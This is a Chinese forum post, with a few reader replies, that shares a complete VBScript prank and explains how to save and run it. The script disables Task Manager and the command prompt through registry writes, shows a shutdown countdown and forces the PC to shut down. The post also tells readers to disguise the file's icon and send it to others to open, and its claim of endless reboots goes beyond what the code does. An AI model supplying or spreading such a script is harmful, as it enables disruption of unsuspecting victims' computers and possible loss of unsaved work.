发表在 最强大的vbs代码 07-23 16:18:58
嗯嗯
大家应该知道vbs吧...(废话,首页里有)
好,大家知道就好(无视这句话)
如果不知道什么是vbs可以去找度娘,搜狗,谷狗等等(比较有名而已)
好,这个贴呢,将会上传一种非常强大的vbs代码,有多强大呢?
关闭任务管理器也行不通,可以让你的电脑死机+无线关机重启!!!
是不是很恐怖呢?(大神勿喷)
好,首先在windows桌面建造一个笔记本(md废话)...
小编本来要截图的,没想到那么麻烦,所以抱歉了,,,继续往下看
打开笔记本
输入以下代码
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next 好,,,把它复制粘贴(废话,那么长麻烦死了)
好,如果有大神要练手速,一点要看懂代码才可以,不然,那些黑客都是浮云
好,让我们分析这串代码,他只有简单的句种(小编喜欢照样称呼)
set语句,为了不浪费时间,大家可以去找度娘...
好。。。
为了最方便的,点击X好,关闭文件,系统提示保存不保存,点击保存(当屁话处理)
不过,大家注意,如果你的电脑没有提示,说明你设置了什么东西,那么你只可以在笔记本中,点击文件,点击保存!!!
好了,保存完后,右键笔记本,把“.txt”后缀改成“.vbs”即可
为了搞人,你可以顺便把文件的图片改掉(右键即可)不会找度娘
好,你可以散播这个文件给别人让别人打开...
最后注:不要作死也不要去玩弄别人让别人损失什么,那些事与这篇文章和小编没有任何关系,小编会不定时更新文章,偷偷告诉你小编qq:2698396869(经常在线)好了,文章就到这里,希望大家喜欢!!!
.
你说这些代码会让电脑死机+无限重启?我用影子系统试试哈。
关机还不如bat快呢,就问下这有卵用?
运行之后会怎么样??????
我只想知道最后运行是什么效果
小编的沙发,嗯...